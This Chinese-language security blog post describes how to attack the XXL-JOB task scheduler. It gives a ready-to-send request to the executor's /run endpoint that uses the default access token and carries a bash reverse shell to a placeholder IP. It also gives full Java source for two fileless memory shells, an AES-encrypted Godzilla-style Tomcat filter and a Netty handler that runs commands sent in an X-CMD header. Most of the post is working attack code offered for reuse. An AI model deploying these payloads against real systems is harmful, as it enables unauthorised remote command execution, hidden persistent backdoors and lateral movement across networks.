Xxl-job 内存马注入

前言

XXL-JOB是一个分布式任务调度平台,从代码结构来看分为调度中心调度(默认端口8080)、执行器(默认端口9999)、xxl-job-core(公共依赖),三部分。

暴露在外网的一般是调度中心,执行器一般都开在内网或者单机仅限127.0.0.1访问的情况。而xxl-job必须路径正确才能访问到后台,这个路径可以在application.properties文件里面修改

常见路径:

1
2
3
4
/toLogin
/xxl-job-admin/toLogin
/xxljob/toLogin
/jobManage/toLogin

在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。

同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。

搭建的话可以去官方文档看 https://www.xuxueli.com/xxl-job/

我这里的版本是 https://github.com/xuxueli/xxl-job/releases/tag/2.3.0

参考连接

XXL-JOB Executor 内存马注入

xxl-job利用研究

xxl-job-executor注入filter内存马

XXL-job任务调度平台若干漏洞研究

https://xz.aliyun.com/news/17740

https://forum.butian.net/share/2593

https://mp.weixin.qq.com/s/0WRuRLaoYQChFShGsXcVpQ

流程分析

发现是xxl-job可以访问/xxl-job-admin/尝试弱口令登录执行任务,也可以尝试未授权(影响版本2.2.0 <= XXL-JOB <= 2.3.0)或者默认accessToken 打 Executor 执行器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST http://192.168.112.138:9999/run HTTP/1.1
Host: 192.168.112.138:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 386

{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1745646241,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1",
"glueUpdatetime": 1745646241,
"broadcastIndex": 0,
"broadcastTotal": 0
}

image-20250608161603974

resources/application.properties文件下可以看到相关配置,并且有两处用法,这里我们主要看与执行器相关的逻辑

image-20250615194239079

进入了com.xxl.job.core.executor.XxlJobExecutor,这个应该是XxlJobExecutor的执行器核心类。其中有个注释,初始化执行器,也就是initEmbedServer方法,这个方法中调用了EmbedServer.start

image-20250615194525430

观察这个类我们发现启动了一个Netty 服务器,对于accessToken的处理方式是调用EmbedHttpServerHandler方法,这是一个构造方法,相当于把获取到的accessToken的值,存起来。

image-20250615203955154

同时这个类继承了SimpleChannelInboundHandler <FullHttpRequest>,也就是说所有的http请求,会自动调用channelRead0方法,这个方法中就是会把XXL-JOB-ACCESS-TOKEN的值,与请求头输入的值做对比,然后下面会调用process方法

image-20250615205045078

这个方法中主要定义了请求方法和路径

image-20250615205157248

当我们访问/run路径的时候,最终会返回run方法的具体实现

image-20250615210747394

这里面我们关注到GlueTypeEnum这里面定义了执行器的类型,我们看到除了可以执行shell,还可以执行java代码,那这就好办了,面对不出网的情况可以尝试执行内存马。

image-20250615210801354

内存马

在配置文件中有server.port和executor.port两种端口,executor.port的后端是一个netty服务可以尝试打内存马,浏览器访问8081端口返回 whitelable error page,这是一个tomcat,也可以尝试打tomcat的内存马。

Tomcat哥斯拉马

具体构造可以查看上面的参考文章,还有之前写的这个tomcat内存马的文章,https://sp4rks.xyz/2024/08/06/JAVA%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%86%85%E5%AD%98%E9%A9%AC/

这里是只使用了AES加密,但是也有很多踩坑,AES加密方法x()和defineClass()的参数类型如果是byte[] 数组的话groovy会报错,得改成Object类型。然后把这个类用python的json.dumps转成json格式传过去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

public class DemoGlueJobHandler extends IJobHandler {

private static final String KEY = "3c6e0b8a9c15224a"; // AES密钥
private static Class<?> payloadClass;

@Override
public void execute() throws Exception {
Object obj = null;
String port = "";
String filterName = "xxl-godzilla-filter";

// 1. 创建哥斯拉内存马核心Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;

try {
InputStream inputStream = req.getInputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int len;
while ((len = inputStream.read(buffer)) > 0) {
bos.write(buffer, 0, len);
}
byte[] data = bos.toByteArray();

data = x(data,false);

byte[] result;
if (payloadClass == null) {
payloadClass = defineClass(data);
result = new byte[0];
} else {
Object payloadObj = payloadClass.newInstance();
ByteArrayOutputStream out = new ByteArrayOutputStream();
payloadObj.equals(out);
payloadObj.equals(data);
payloadObj.toString();
result = out.toByteArray();
}
resp.getOutputStream().write(x(result,true));
resp.getOutputStream().flush();
return;
} catch (Exception ignored) {}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {}
};

// 2. 创建FilterDef 和 FilterMap
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);

// 3. 反射寻找Tomcat StandardContext
Thread currentThread = Thread.currentThread();
Field groupField = Thread.class.getDeclaredField("group");
groupField.setAccessible(true);
ThreadGroup group = (ThreadGroup) groupField.get(currentThread);

Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[]) threadsField.get(group);

for (Thread thread : threads) {
if (thread == null) continue;
String threadName = thread.getName();

if (threadName.contains("container")) {
obj = getField(thread, "this$0");
} else if (threadName.contains("http-nio-") && threadName.contains("-ClientPoller")) {
port = threadName.substring(9, threadName.length() - 13);
}
}

obj = getField(obj, "tomcat");
obj = getField(obj, "server");
Object[] services = (Object[]) getField(obj, "services");

for (Object service : services) {
obj = getField(service, "engine");
if (obj == null) continue;

HashMap children = (HashMap) getField(obj, "children");
obj = children.get("localhost");
children = (HashMap) getField(obj, "children");

StandardContext standardContext = (StandardContext) children.get("");
standardContext.addFilterDef(filterDef);

Map filterConfigs = (Map) getField(standardContext, "filterConfigs");
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, filterConfig);

standardContext.addFilterMapBefore(filterMap);
XxlJobHelper.log("Godzilla memshell inject success! port: " + port);
}
}

// 反射工具
private Object getField(Object obj, String fieldName) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}catch (Exception e){
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}

}

private byte[] x(Object s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(KEY.getBytes(), "AES"));
return c.doFinal((byte[]) s);
} catch(Exception e) {
return null;
}
}
private Class defineClass(Object classbytes) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] bytes = (byte[]) classbytes;
return (Class<?>) method.invoke(urlClassLoader, bytes, 0, bytes.length);
}
}

image-20250616124915750

image-20250616100955040

Netty内存马

xxl-job 2.3.0 api有些变化,这是2.3.0 的内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import io.netty.util.CharsetUtil;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.Scanner;
import java.util.concurrent.*;

import com.xxl.job.core.context.XxlJobHelper;
import com.xxl.job.core.handler.IJobHandler;

public class DemoGlueJobHandler extends IJobHandler {
public static class NettyThreadHandler extends ChannelDuplexHandler{
@Override
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(((HttpRequest)msg).uri().contains("shell")) {
HttpRequest httpRequest = (HttpRequest)msg;
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
ArrayList<String> cmdList = new ArrayList<>();
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
cmdList.add("cmd.exe");
cmdList.add("/c");
} else {
cmdList.add("/bin/bash");
cmdList.add("-c");
}
cmdList.add(cmd);
String[] cmds = cmdList.toArray(new String[0]);

InputStream input = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(input).useDelimiter("\\a");
String execResult = s.hasNext() ? s.next() : "";
send(ctx, execResult, HttpResponseStatus.OK);
}else {
ctx.fireChannelRead(msg);
}
} else {
ctx.fireChannelRead(msg);
}
}

private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

public void execute() throws Exception{
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;

try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
} catch (Exception e) {
continue;
}

if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobHelper.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler())
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>(2000),
new ThreadFactory() {
@Override
public Thread newThread(Runnable r) {
return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
}
},
new RejectedExecutionHandler() {
@Override
public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
}
})));
}
});
XxlJobHelper.log("success!");
break;
}
}
} catch (Exception e){
XxlJobHelper.log(e.toString());
}
}
}
}catch (Exception e){
XxlJobHelper.log(e.toString());
}
}

public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}

public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}

image-20250616101612668


Xxl-job 内存马注入
https://sp4rks3.github.io/2025/06/16/JAVA安全/漏洞复现/Xxl-job/
作者
Sp4rks3
发布于
2025年6月16日
许可协议